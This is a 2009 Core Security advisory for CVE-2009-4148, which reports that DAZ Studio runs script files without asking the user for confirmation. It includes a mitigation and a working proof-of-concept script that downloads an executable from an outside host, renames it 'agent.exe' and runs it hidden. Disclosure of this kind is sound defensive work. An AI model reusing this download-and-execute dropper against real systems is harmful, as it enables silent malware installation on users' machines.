**Title:**DAZ Studio Arbitrary Command Execution
**Advisory Id:**CORE-2009-0911
**Advisory URL:**https://www.coresecurity.com/core-labs/advisories/dazstudio-scripting-injection
**Date published:**2009-12-02
**Date of last update:**2009-12-01
**Vendors contacted:**DAZ
**Release mode:**User release
**Class:**Insufficient UI Warning of Dangerous Operations [CWE-357]
**Impact:**Code execution
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
Bugtraq ID:37176
CVE Name:CVE-2009-4148
DAZ Studio [2] is a 3D figure illustration/animation application released by DAZ 3D Inc. DAZ Studio can be accessed via a scripting language which allows for quite a bit of diversity in tool creation. DAZ Studio does not ask for any confirmation from the user prior to executing a scripting file with any of the following extensions: .ds, .dsa, .dse, .dsb. An attacker could abuse the scripting interface by enticing an unsuspecting user to open a malicious scripting file, thus obtaining remote code execution.
The vendor did not provide fixes or workaround information.
To prevent the accidental execution of malicious scripting files you can disable the default file association of the dangerous file extensions in the Windows Explorer.
This vulnerability was discovered and researched by Diego Juarez from Core Security Technologies during Bugweek 2009 [1].
The following Proof of Concept .ds file demonstrates remote code execution by downloading and executing putty in the context of DAZ Studio.
// DAZ Studio PoC var oFile = new DzFile("d:\\test.js"); oFile.open(2); oFile.write
("s=WScript.CreateObject(\'WScript.Shell\');o=WScript.CreateObject(\'ADODB.Stream\');e=s.Environment
(\'Process\');u=\'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe\';b=e.Item(\'TEMP\')+
\'\\\\agent.exe\';try{x=new ActiveXObject(\'Microsoft.XMLHTTP\');}catch(e){x=new ActiveXObject
(\'MSXML2.ServerXMLHTTP\');}if(!x)exit(0);x.open(\'GET\',u,0);x.send(null);d=x.responseBody;o.
Type=1;o.Mode=3;o.Open();o.Write(d);o.SaveToFile(b,2);s.Run(b,0);\r\n"); oFile.close()
var oProcess = new DzProcess(["wscript", "d:\\test.js"]); oProcess.start();
[1] The author participated in Core Bugweek 2009 as member of the team “Gimbal Lock N Load”.
[2] DAZ Studio: http://www.daz3d.com/
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs.
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company’s flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at https://www.coresecurity.com.
The contents of this advisory are copyright © 2009 Core Security Technologies and © 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.
This advisory has been signed with the GPG key of Core Security Technologies advisories team.